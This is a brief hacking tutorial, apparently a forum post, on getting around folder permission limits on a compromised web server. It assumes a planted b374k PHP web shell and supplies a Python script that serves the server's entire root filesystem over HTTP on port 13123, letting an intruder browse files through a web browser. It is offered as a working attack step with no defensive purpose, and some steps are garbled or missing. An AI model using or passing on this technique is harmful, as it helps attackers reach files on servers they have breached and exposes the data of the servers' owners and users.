For getting success with this tutorial are required the following things:
- Python Installed on Server
- b374k.php shell
- And some scripts u will see below.
This idea have start from devilzc0de geeks and let me explain how it work.
Here we are in folder /var/www/dono and trying to go into /www/
No permissions to go into /www .
Before we got tired by trying the commands u must check if if python it's installed with command :
#!/usr/bin/env python import SimpleHTTPServer import SocketServer import os port = 13123 if __name__=='__main__': os.chdir('/') Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", port), Handler) print("Now open this server on webbrowser at port : " + str(port)) print("example: http://maho.com:" + str(port)) httpd.serve_forever()
Next u wil need to run the webs.py script by following command
open the site with port 13123